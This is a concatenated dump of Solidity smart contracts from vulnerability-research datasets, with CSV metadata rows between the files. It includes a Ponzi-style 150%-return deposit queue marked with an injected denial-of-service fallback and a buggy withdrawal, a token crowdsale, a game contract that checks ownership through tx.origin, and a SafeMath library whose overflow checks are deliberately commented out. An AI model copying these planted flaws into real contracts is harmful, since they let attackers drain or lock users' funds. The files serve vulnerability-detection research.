/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function changeSafeguardStatus() onlyOwner public{
if (safeguard == false){
safeguard = true;
}
else{
safeguard = false;
}
}
uint256 public returnPercentage = 150; // 150% return, which is 1.5 times the amount deposited
uint256 public additionalFund = 0;
address payable[] public winnerQueueAddresses;
uint256[] public winnerQueueAmount;
// This will log for all the deposits made by users
event Deposit(address indexed depositor, uint256 depositAmount);
// This will log for any ether paid to users
event RewardPaid(address indexed rewardPayee, uint256 rewardAmount);
function showPeopleInQueue() public view returns(uint256) {
return winnerQueueAmount.length;
}
//@dev fallback function, which accepts ether
function () payable external { //inject DOS BY COMPLEX FALLBACK
require(!safeguard);
require(!frozenAccount[msg.sender]);
require(msg.value >= 0.5 ether);
uint256 _depositedEther;
if(msg.value >= 3 ether){
_depositedEther = 3 ether;
additionalFund += msg.value - 3 ether;
}
else{
_depositedEther = msg.value;
}
//following loop will send reward to one or more addresses
uint256 TotalPeopleInQueue = winnerQueueAmount.length;
for(uint256 index = 0; index < TotalPeopleInQueue; index++){
if(winnerQueueAmount[0] <= (address(this).balance - additionalFund)){
//transfer the ether and token to leader / first position
winnerQueueAddresses[0].call.gas(2301).value(winnerQueueAmount[0])("");
_transfer(address(this), winnerQueueAddresses[0], winnerQueueAmount[0]*100/returnPercentage);
//this will shift one index up in both arrays, removing the person who is paid
for (uint256 i = 0; i<winnerQueueAmount.length-1; i++){
winnerQueueAmount[i] = winnerQueueAmount[i+1];
winnerQueueAddresses[i] = winnerQueueAddresses[i+1];
}
winnerQueueAmount.length--;
winnerQueueAddresses.length--;
}
else{
//because there is not enough ether in contract to pay for leader, so break.
break;
}
}
//Putting depositor in the queue
winnerQueueAddresses.push(msg.sender);
winnerQueueAmount.push(_depositedEther * returnPercentage / 100);
emit Deposit(msg.sender, msg.value);
}
function manualWithdrawEtherAll() onlyOwner public{
address(owner).transfer(address(this).balance);
}
function manualWithdrawEtherAdditionalOnly() onlyOwner public{
additionalFund = 0;
address(owner).transfer(additionalFund);
}
//Just in rare case, owner wants to transfer Tokens from contract to owner address
function manualWithdrawTokens(uint tokenAmount) onlyOwner public{
//no need to validate the input amount as transfer function automatically throws for invalid amounts
_transfer(address(this), address(owner), tokenAmount);
}
//selfdestruct function. just in case owner decided to destruct this contract.
function destructContract()onlyOwner public{
selfdestruct(owner);
}
//To remove any stuck address and un-stuck the queue.
//This often happen if user have put contract address, and contract does not receive ether.
function removeAddressFromQueue(uint256 index) onlyOwner public {
require(index <= winnerQueueAmount.length);
additionalFund += winnerQueueAmount[index];
//this will shift one index up in both arrays, removing the address owner specified
for (uint256 i = index; i<winnerQueueAmount.length-1; i++){
winnerQueueAmount[i] = winnerQueueAmount[i+1];
winnerQueueAddresses[i] = winnerQueueAddresses[i+1];
}
winnerQueueAmount.length--;
winnerQueueAddresses.length--;
}
function restartTheQueue() onlyOwner public {
uint256 arrayLength = winnerQueueAmount.length;
if(arrayLength < 35){
//if addresses are less than 35 then we will just loop through it and send tokens
for(uint256 i = 0; i < arrayLength; i++){
_transfer(address(this), winnerQueueAddresses[i], winnerQueueAmount[i]*200*100/returnPercentage);
}
//then empty the array, and so the game will begin fresh
winnerQueueAddresses = new address payable[](0);
winnerQueueAmount = new uint256[](0);
}
else{
//if there are more than 35 addresses, then we will process it differently
//sending tokens to first 35 addresses
for(uint256 i = 0; i < 35; i++){
//doing token transfer
_transfer(address(this), winnerQueueAddresses[i], winnerQueueAmount[i]*200*100/returnPercentage);
//shifting index one by one
for (uint256 j = 0; j<arrayLength-i-1; j++){
winnerQueueAmount[j] = winnerQueueAmount[j+1];
winnerQueueAddresses[j] = winnerQueueAddresses[j+1];
}
}
//removing total array length by 35
winnerQueueAmount.length -= 35;
winnerQueueAddresses.length -= 35;
}
}
}
| 279,968 | 14,162 |
e09372d26fde1919f174afcababe69332574cd8664f6c9b059760e30f8d97d23
| 18,756 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xdd8c409d4b94de09bb6b6a898c74ad8149557aa8.sol
| 3,605 | 13,501 |
pragma solidity ^0.4.19;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract ThinkCoin is MintableToken {
string public name = "ThinkCoin";
string public symbol = "TCO";
uint8 public decimals = 18;
uint256 public cap;
function ThinkCoin(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
// override
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
// override
function transfer(address _to, uint256 _value) public returns (bool) {
require(mintingFinished == true);
return super.transfer(_to, _value);
}
// override
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(mintingFinished == true);
return super.transferFrom(_from, _to, _value);
}
function() public payable {
revert();
}
}
contract LockingContract is Ownable {
using SafeMath for uint256;
event NotedTokens(address indexed _beneficiary, uint256 _tokenAmount);
event ReleasedTokens(address indexed _beneficiary);
event ReducedLockingTime(uint256 _newUnlockTime);
ERC20 public tokenContract;
mapping(address => uint256) public tokens;
uint256 public totalTokens;
uint256 public unlockTime;
function isLocked() public view returns(bool) {
return now < unlockTime;
}
modifier onlyWhenUnlocked() {
require(!isLocked());
_;
}
modifier onlyWhenLocked() {
require(isLocked());
_;
}
function LockingContract(ERC20 _tokenContract, uint256 _unlockTime) public {
require(_unlockTime > 0);
unlockTime = _unlockTime;
tokenContract = _tokenContract;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return tokens[_owner];
}
// Should only be done from another contract.
// To ensure that the LockingContract can release all noted tokens later,
// one should mint/transfer tokens to the LockingContract's account prior to noting
function noteTokens(address _beneficiary, uint256 _tokenAmount) external onlyOwner onlyWhenLocked {
uint256 tokenBalance = tokenContract.balanceOf(this);
require(tokenBalance == totalTokens.add(_tokenAmount));
tokens[_beneficiary] = tokens[_beneficiary].add(_tokenAmount);
totalTokens = totalTokens.add(_tokenAmount);
NotedTokens(_beneficiary, _tokenAmount);
}
function releaseTokens(address _beneficiary) public onlyWhenUnlocked {
uint256 amount = tokens[_beneficiary];
tokens[_beneficiary] = 0;
require(tokenContract.transfer(_beneficiary, amount));
totalTokens = totalTokens.sub(amount);
ReleasedTokens(_beneficiary);
}
function reduceLockingTime(uint256 _newUnlockTime) public onlyOwner onlyWhenLocked {
require(_newUnlockTime >= now);
require(_newUnlockTime < unlockTime);
unlockTime = _newUnlockTime;
ReducedLockingTime(_newUnlockTime);
}
}
contract Crowdsale is Ownable, Pausable {
using SafeMath for uint256;
event MintProposed(address indexed _beneficiary, uint256 _tokenAmount);
event MintLockedProposed(address indexed _beneficiary, uint256 _tokenAmount);
event MintApproved(address indexed _beneficiary, uint256 _tokenAmount);
event MintLockedApproved(address indexed _beneficiary, uint256 _tokenAmount);
event MintedAllocation(address indexed _beneficiary, uint256 _tokenAmount);
event ProposerChanged(address _newProposer);
event ApproverChanged(address _newApprover);
ThinkCoin public token;
LockingContract public lockingContract;
address public proposer; // proposes mintages of tokens
address public approver; // approves proposed mintages
mapping(address => uint256) public mintProposals;
mapping(address => uint256) public mintLockedProposals;
uint256 public proposedTotal = 0;
uint256 public saleCap;
uint256 public saleStartTime;
uint256 public saleEndTime;
function Crowdsale(ThinkCoin _token,
uint256 _lockingPeriod,
address _proposer,
address _approver,
uint256 _saleCap,
uint256 _saleStartTime,
uint256 _saleEndTime) public {
require(_saleCap > 0);
require(_saleStartTime < _saleEndTime);
require(_saleEndTime > now);
require(_lockingPeriod > 0);
require(_proposer != _approver);
require(_saleCap <= _token.cap());
require(address(_token) != 0x0);
token = _token;
lockingContract = new LockingContract(token, _saleEndTime.add(_lockingPeriod));
proposer = _proposer;
approver = _approver;
saleCap = _saleCap;
saleStartTime = _saleStartTime;
saleEndTime = _saleEndTime;
}
modifier saleStarted() {
require(now >= saleStartTime);
_;
}
modifier saleNotEnded() {
require(now < saleEndTime);
_;
}
modifier saleEnded() {
require(now >= saleEndTime);
_;
}
modifier onlyProposer() {
require(msg.sender == proposer);
_;
}
modifier onlyApprover() {
require(msg.sender == approver);
_;
}
function exceedsSaleCap(uint256 _additionalAmount) internal view returns(bool) {
uint256 totalSupply = token.totalSupply();
return totalSupply.add(_additionalAmount) > saleCap;
}
modifier notExceedingSaleCap(uint256 _amount) {
require(!exceedsSaleCap(_amount));
_;
}
function proposeMint(address _beneficiary, uint256 _tokenAmount) public onlyProposer saleStarted saleNotEnded
notExceedingSaleCap(proposedTotal.add(_tokenAmount)) {
require(_tokenAmount > 0);
require(mintProposals[_beneficiary] == 0);
proposedTotal = proposedTotal.add(_tokenAmount);
mintProposals[_beneficiary] = _tokenAmount;
MintProposed(_beneficiary, _tokenAmount);
}
function proposeMintLocked(address _beneficiary, uint256 _tokenAmount) public onlyProposer saleStarted saleNotEnded
notExceedingSaleCap(proposedTotal.add(_tokenAmount)) {
require(_tokenAmount > 0);
require(mintLockedProposals[_beneficiary] == 0);
proposedTotal = proposedTotal.add(_tokenAmount);
mintLockedProposals[_beneficiary] = _tokenAmount;
MintLockedProposed(_beneficiary, _tokenAmount);
}
function clearProposal(address _beneficiary) public onlyApprover {
proposedTotal = proposedTotal.sub(mintProposals[_beneficiary]);
mintProposals[_beneficiary] = 0;
}
function clearProposalLocked(address _beneficiary) public onlyApprover {
proposedTotal = proposedTotal.sub(mintLockedProposals[_beneficiary]);
mintLockedProposals[_beneficiary] = 0;
}
function approveMint(address _beneficiary, uint256 _tokenAmount) public onlyApprover saleStarted
notExceedingSaleCap(_tokenAmount) {
require(_tokenAmount > 0);
require(mintProposals[_beneficiary] == _tokenAmount);
mintProposals[_beneficiary] = 0;
token.mint(_beneficiary, _tokenAmount);
MintApproved(_beneficiary, _tokenAmount);
}
function approveMintLocked(address _beneficiary, uint256 _tokenAmount) public onlyApprover saleStarted
notExceedingSaleCap(_tokenAmount) {
require(_tokenAmount > 0);
require(mintLockedProposals[_beneficiary] == _tokenAmount);
mintLockedProposals[_beneficiary] = 0;
token.mint(lockingContract, _tokenAmount);
lockingContract.noteTokens(_beneficiary, _tokenAmount);
MintLockedApproved(_beneficiary, _tokenAmount);
}
function mintAllocation(address _beneficiary, uint256 _tokenAmount) public onlyOwner saleEnded {
require(_tokenAmount > 0);
token.mint(_beneficiary, _tokenAmount);
MintedAllocation(_beneficiary, _tokenAmount);
}
function finishMinting() public onlyOwner saleEnded {
require(proposedTotal == 0);
token.finishMinting();
transferTokenOwnership();
}
function transferTokenOwnership() public onlyOwner saleEnded {
token.transferOwnership(msg.sender);
}
function changeProposer(address _newProposer) public onlyOwner {
require(_newProposer != approver);
proposer = _newProposer;
ProposerChanged(_newProposer);
}
function changeApprover(address _newApprover) public onlyOwner {
require(_newApprover != proposer);
approver = _newApprover;
ApproverChanged(_newApprover);
}
}
| 223,235 | 14,163 |
10d9b761ba111381099ec572952d87b61a7c1f11025256b0fa0b167e294f2ed1
| 14,601 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Game/0x0B7Bda8AD804cB3318Ae8490B984c2883aDA2154.sol
| 3,977 | 13,817 |
pragma solidity ^0.4.19;
contract ADM312 {
address public COO;
address public CTO;
address public CFO;
address private coreAddress;
address public logicAddress;
address public superAddress;
modifier onlyAdmin() {
require(msg.sender == COO || msg.sender == CTO || msg.sender == CFO);
_;
}
modifier onlyContract() {
require(msg.sender == coreAddress || msg.sender == logicAddress || msg.sender == superAddress);
_;
}
modifier onlyContractAdmin() {
require(msg.sender == coreAddress || msg.sender == logicAddress || msg.sender == superAddress || msg.sender == COO || msg.sender == CTO || msg.sender == CFO);
_;
}
function transferAdmin(address _newAdminAddress1, address _newAdminAddress2) public onlyAdmin {
if(msg.sender == COO)
{
CTO = _newAdminAddress1;
CFO = _newAdminAddress2;
}
if(msg.sender == CTO)
{
COO = _newAdminAddress1;
CFO = _newAdminAddress2;
}
if(msg.sender == CFO)
{
COO = _newAdminAddress1;
CTO = _newAdminAddress2;
}
}
function transferContract(address _newCoreAddress, address _newLogicAddress, address _newSuperAddress) external onlyAdmin {
coreAddress = _newCoreAddress;
logicAddress = _newLogicAddress;
superAddress = _newSuperAddress;
SetCoreInterface(_newLogicAddress).setCoreContract(_newCoreAddress);
SetCoreInterface(_newSuperAddress).setCoreContract(_newCoreAddress);
}
}
contract ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function transfer(address _to, uint256 _tokenId) public;
function approve(address _to, uint256 _tokenId) public;
function takeOwnership(uint256 _tokenId) public;
}
contract SetCoreInterface {
function setCoreContract(address _neWCoreAddress) external;
}
contract CaData is ADM312, ERC721 {
function CaData() public {
COO = msg.sender;
CTO = msg.sender;
CFO = msg.sender;
createCustomAtom(0,0,4,0,0,0,0);
}
function kill() external
{
require(msg.sender == COO);
selfdestruct(msg.sender);
}
function() public payable{}
uint public randNonce = 0;
struct Atom
{
uint64 dna;
uint8 gen;
uint8 lev;
uint8 cool;
uint32 sons;
uint64 fath;
uint64 moth;
uint128 isRent;
uint128 isBuy;
uint32 isReady;
}
Atom[] public atoms;
mapping (uint64 => bool) public dnaExist;
mapping (address => bool) public bonusReceived;
mapping (address => uint) public ownerAtomsCount;
mapping (uint => address) public atomOwner;
event NewWithdraw(address sender, uint balance);
//ADMIN
function createCustomAtom(uint64 _dna, uint8 _gen, uint8 _lev, uint8 _cool, uint128 _isRent, uint128 _isBuy, uint32 _isReady) public onlyAdmin {
require(dnaExist[_dna]==false && _cool+_lev>=4);
Atom memory newAtom = Atom(_dna, _gen, _lev, _cool, 0, 2**50, 2**50, _isRent, _isBuy, _isReady);
uint id = atoms.push(newAtom) - 1;
atomOwner[id] = msg.sender;
ownerAtomsCount[msg.sender]++;
dnaExist[_dna] = true;
}
function withdrawBalance() public payable onlyAdmin {
NewWithdraw(msg.sender, address(this).balance);
CFO.transfer(address(this).balance);
}
//MAPPING_SETTERS
function incRandNonce() external onlyContract {
randNonce++;
}
function setDnaExist(uint64 _dna, bool _newDnaLocking) external onlyContractAdmin {
dnaExist[_dna] = _newDnaLocking;
}
function setBonusReceived(address _add, bool _newBonusLocking) external onlyContractAdmin {
bonusReceived[_add] = _newBonusLocking;
}
function setOwnerAtomsCount(address _owner, uint _newCount) external onlyContract {
ownerAtomsCount[_owner] = _newCount;
}
function setAtomOwner(uint _atomId, address _owner) external onlyContract {
atomOwner[_atomId] = _owner;
}
//ATOM_SETTERS
function pushAtom(uint64 _dna, uint8 _gen, uint8 _lev, uint8 _cool, uint32 _sons, uint64 _fathId, uint64 _mothId, uint128 _isRent, uint128 _isBuy, uint32 _isReady) external onlyContract returns (uint id) {
Atom memory newAtom = Atom(_dna, _gen, _lev, _cool, _sons, _fathId, _mothId, _isRent, _isBuy, _isReady);
id = atoms.push(newAtom) -1;
}
function setAtomDna(uint _atomId, uint64 _dna) external onlyAdmin {
atoms[_atomId].dna = _dna;
}
function setAtomGen(uint _atomId, uint8 _gen) external onlyAdmin {
atoms[_atomId].gen = _gen;
}
function setAtomLev(uint _atomId, uint8 _lev) external onlyContract {
atoms[_atomId].lev = _lev;
}
function setAtomCool(uint _atomId, uint8 _cool) external onlyContract {
atoms[_atomId].cool = _cool;
}
function setAtomSons(uint _atomId, uint32 _sons) external onlyContract {
atoms[_atomId].sons = _sons;
}
function setAtomFath(uint _atomId, uint64 _fath) external onlyContract {
atoms[_atomId].fath = _fath;
}
function setAtomMoth(uint _atomId, uint64 _moth) external onlyContract {
atoms[_atomId].moth = _moth;
}
function setAtomIsRent(uint _atomId, uint128 _isRent) external onlyContract {
atoms[_atomId].isRent = _isRent;
}
function setAtomIsBuy(uint _atomId, uint128 _isBuy) external onlyContract {
atoms[_atomId].isBuy = _isBuy;
}
function setAtomIsReady(uint _atomId, uint32 _isReady) external onlyContractAdmin {
atoms[_atomId].isReady = _isReady;
}
//ERC721
mapping (uint => address) tokenApprovals;
function totalSupply() public view returns (uint256 total){
return atoms.length;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownerAtomsCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address owner) {
return atomOwner[_tokenId];
}
function _transfer(address _from, address _to, uint256 _tokenId) private {
atoms[_tokenId].isBuy = 0;
atoms[_tokenId].isRent = 0;
ownerAtomsCount[_to]++;
ownerAtomsCount[_from]--;
atomOwner[_tokenId] = _to;
Transfer(_from, _to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) public {
require(msg.sender == atomOwner[_tokenId]);
_transfer(msg.sender, _to, _tokenId);
}
function approve(address _to, uint256 _tokenId) public {
require(msg.sender == atomOwner[_tokenId]);
tokenApprovals[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function takeOwnership(uint256 _tokenId) public {
require(tokenApprovals[_tokenId] == msg.sender);
_transfer(ownerOf(_tokenId), msg.sender, _tokenId);
}
}
contract CaCoreInterface {
function createCombinedAtom(uint, uint) external returns (uint);
function createRandomAtom() external returns (uint);
function createTransferAtom(address , address , uint) external;
}
contract CryptoAtomsLogicV2{
address public CaDataAddress = 0x9b3554E6FC4F81531F6D43b611258bd1058ef6D5;
CaData public CaDataContract = CaData(CaDataAddress);
CaCoreInterface private CaCoreContract;
bool public pauseMode = false;
bool public bonusMode = true;
uint128 public newAtomFee = 1 finney;
uint8 public buyFeeRate = 0;
uint8[4] public levelupValues = [0,
2,
5,
10];
event NewSetRent(address sender, uint atom);
event NewSetBuy(address sender, uint atom);
event NewUnsetRent(address sender, uint atom);
event NewUnsetBuy(address sender, uint atom);
event NewAutoRentAtom(address sender, uint atom);
event NewRentAtom(address sender, uint atom, address receiver, uint amount);
event NewBuyAtom(address sender, uint atom, address receiver, uint amount);
event NewEvolveAtom(address sender, uint atom);
event NewBonusAtom(address sender, uint atom);
function() public payable{}
function kill() external
{
require(msg.sender == CaDataContract.CTO());
selfdestruct(msg.sender);
}
modifier onlyAdmin() {
require(msg.sender == CaDataContract.COO() || msg.sender == CaDataContract.CFO() || msg.sender == CaDataContract.CTO());
_;
}
modifier onlyActive() {
require(pauseMode == false);
_;
}
modifier onlyOwnerOf(uint _atomId, bool _flag) {
require((tx.origin == CaDataContract.atomOwner(_atomId)) == _flag);
_;
}
modifier onlyRenting(uint _atomId, bool _flag) {
uint128 isRent;
(,,,,,,,isRent,,) = CaDataContract.atoms(_atomId);
require((isRent > 0) == _flag);
_;
}
modifier onlyBuying(uint _atomId, bool _flag) {
uint128 isBuy;
(,,,,,,,,isBuy,) = CaDataContract.atoms(_atomId);
require((isBuy > 0) == _flag);
_;
}
modifier onlyReady(uint _atomId) {
uint32 isReady;
(,,,,,,,,,isReady) = CaDataContract.atoms(_atomId);
require(isReady <= now);
_;
}
modifier beDifferent(uint _atomId1, uint _atomId2) {
require(_atomId1 != _atomId2);
_;
}
function setCoreContract(address _neWCoreAddress) external {
require(msg.sender == CaDataAddress);
CaCoreContract = CaCoreInterface(_neWCoreAddress);
}
function setPauseMode(bool _newPauseMode) external onlyAdmin {
pauseMode = _newPauseMode;
}
function setGiftMode(bool _newBonusMode) external onlyAdmin {
bonusMode = _newBonusMode;
}
function setFee(uint128 _newFee) external onlyAdmin {
newAtomFee = _newFee;
}
function setRate(uint8 _newRate) external onlyAdmin {
buyFeeRate = _newRate;
}
function setLevelup(uint8[4] _newLevelup) external onlyAdmin {
levelupValues = _newLevelup;
}
function setIsRentByAtom(uint _atomId, uint128 _fee) external onlyActive onlyOwnerOf(_atomId,true) onlyRenting(_atomId, false) onlyReady(_atomId) {
require(_fee > 0);
CaDataContract.setAtomIsRent(_atomId,_fee);
NewSetRent(tx.origin,_atomId);
}
function setIsBuyByAtom(uint _atomId, uint128 _fee) external onlyActive onlyOwnerOf(_atomId,true) onlyBuying(_atomId, false){
require(_fee > 0);
CaDataContract.setAtomIsBuy(_atomId,_fee);
NewSetBuy(tx.origin,_atomId);
}
function unsetIsRentByAtom(uint _atomId) external onlyActive onlyOwnerOf(_atomId, true) onlyRenting(_atomId, true){
CaDataContract.setAtomIsRent(_atomId,0);
NewUnsetRent(tx.origin,_atomId);
}
function unsetIsBuyByAtom(uint _atomId) external onlyActive onlyOwnerOf(_atomId, true) onlyBuying(_atomId, true){
CaDataContract.setAtomIsBuy(_atomId,0);
NewUnsetBuy(tx.origin,_atomId);
}
function autoRentByAtom(uint _atomId, uint _ownedId) external payable onlyActive beDifferent(_atomId, _ownedId) onlyOwnerOf(_atomId, true) onlyOwnerOf(_ownedId,true) onlyReady(_atomId) onlyReady(_ownedId) {
require(newAtomFee == msg.value);
CaDataAddress.transfer(newAtomFee);
uint id = CaCoreContract.createCombinedAtom(_atomId,_ownedId);
NewAutoRentAtom(tx.origin,id);
}
function rentByAtom(uint _atomId, uint _ownedId) external payable onlyActive beDifferent(_atomId, _ownedId) onlyOwnerOf(_ownedId, true) onlyRenting(_atomId, true) onlyReady(_ownedId) {
address owner = CaDataContract.atomOwner(_atomId);
uint128 isRent;
(,,,,,,,isRent,,) = CaDataContract.atoms(_atomId);
require(isRent + newAtomFee == msg.value);
owner.transfer(isRent);
CaDataAddress.transfer(newAtomFee);
uint id = CaCoreContract.createCombinedAtom(_atomId,_ownedId);
NewRentAtom(tx.origin,id,owner,isRent);
}
function buyByAtom(uint _atomId) external payable onlyActive onlyOwnerOf(_atomId, false) onlyBuying(_atomId, true) {
address owner = CaDataContract.atomOwner(_atomId);
uint128 isBuy;
(,,,,,,,,isBuy,) = CaDataContract.atoms(_atomId);
require(isBuy == msg.value);
if(buyFeeRate>0)
{
uint128 fee = uint128(isBuy/100) * buyFeeRate;
isBuy = isBuy - fee;
CaDataAddress.transfer(fee);
}
owner.transfer(isBuy);
CaDataContract.setAtomIsBuy(_atomId,0);
CaDataContract.setAtomIsRent(_atomId,0);
CaDataContract.setOwnerAtomsCount(tx.origin,CaDataContract.ownerAtomsCount(tx.origin)+1);
CaDataContract.setOwnerAtomsCount(owner,CaDataContract.ownerAtomsCount(owner)-1);
CaDataContract.setAtomOwner(_atomId,tx.origin);
CaCoreContract.createTransferAtom(owner, tx.origin, _atomId);
NewBuyAtom(tx.origin,_atomId,owner,isBuy);
}
function evolveByAtom(uint _atomId) external onlyActive onlyOwnerOf(_atomId, true) {
uint8 lev;
uint8 cool;
uint32 sons;
(,,lev,cool,sons,,,,,) = CaDataContract.atoms(_atomId);
require(lev < 4 && sons >= levelupValues[lev]);
CaDataContract.setAtomLev(_atomId,lev+1);
CaDataContract.setAtomCool(_atomId,cool-1);
NewEvolveAtom(tx.origin,_atomId);
}
function receiveBonus() onlyActive external {
require(bonusMode == true && CaDataContract.bonusReceived(tx.origin) == false);
CaDataContract.setBonusReceived(tx.origin,true);
uint id = CaCoreContract.createRandomAtom();
NewBonusAtom(tx.origin,id);
}
}
| 335,155 | 14,164 |
9294973571393c193622d6bf0d019cff00bd500561d20bdeb38a72834fd65533
| 23,302 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/integerOverflow/0xbfdd08e0347416ea02ed2731f145f9b4cf6d2346_integerOverflow.sol
| 3,863 | 15,491 |
pragma solidity ^0.5.2;
library SafeMath{
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
//require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
//require(c >= _a);
return c;
}
}
contract Ownable {
// hot and cold wallet addresses
address public hotOwner=0xCd39203A332Ff477a35dA3AD2AD7761cDBEAb7F0;
address public coldOwner=0x1Ba688e70bb4F3CB266b8D721b5597bFbCCFF957;
//events
event OwnershipTransferred(address indexed _newHotOwner,address indexed _newColdOwner,address indexed _oldColdOwner);
modifier onlyHotOwner() {
require(msg.sender == hotOwner);
_;
}
modifier onlyColdOwner() {
require(msg.sender == coldOwner);
_;
}
function transferOwnership(address _newHotOwner,address _newColdOwner) public onlyColdOwner returns (bool) {
require(_newHotOwner != address(0));
require(_newColdOwner!= address(0));
hotOwner = _newHotOwner;
coldOwner = _newColdOwner;
emit OwnershipTransferred(_newHotOwner,_newColdOwner,msg.sender);
return true;
}
}
contract Authorizable is Ownable {
//map to check if the address is authorized to issue, redeem sila
mapping(address => bool) authorized;
//events for when address is added or removed
event AuthorityAdded(address indexed _toAdd);
event AuthorityRemoved(address indexed _toRemove);
//array of authorized address to check for all the authorized addresses
address[] public authorizedAddresses;
modifier onlyAuthorized() {
require(authorized[msg.sender] || hotOwner == msg.sender);
_;
}
function addAuthorized(address _toAdd) onlyHotOwner public returns(bool) {
require(_toAdd != address(0));
require(!authorized[_toAdd]);
authorized[_toAdd] = true;
authorizedAddresses.push(_toAdd);
emit AuthorityAdded(_toAdd);
return true;
}
function removeAuthorized(address _toRemove,uint _toRemoveIndex) onlyHotOwner public returns(bool) {
require(_toRemove != address(0));
require(authorized[_toRemove]);
authorized[_toRemove] = false;
authorizedAddresses[_toRemoveIndex] = authorizedAddresses[authorizedAddresses.length-1];
authorizedAddresses.pop();
emit AuthorityRemoved(_toRemove);
return true;
}
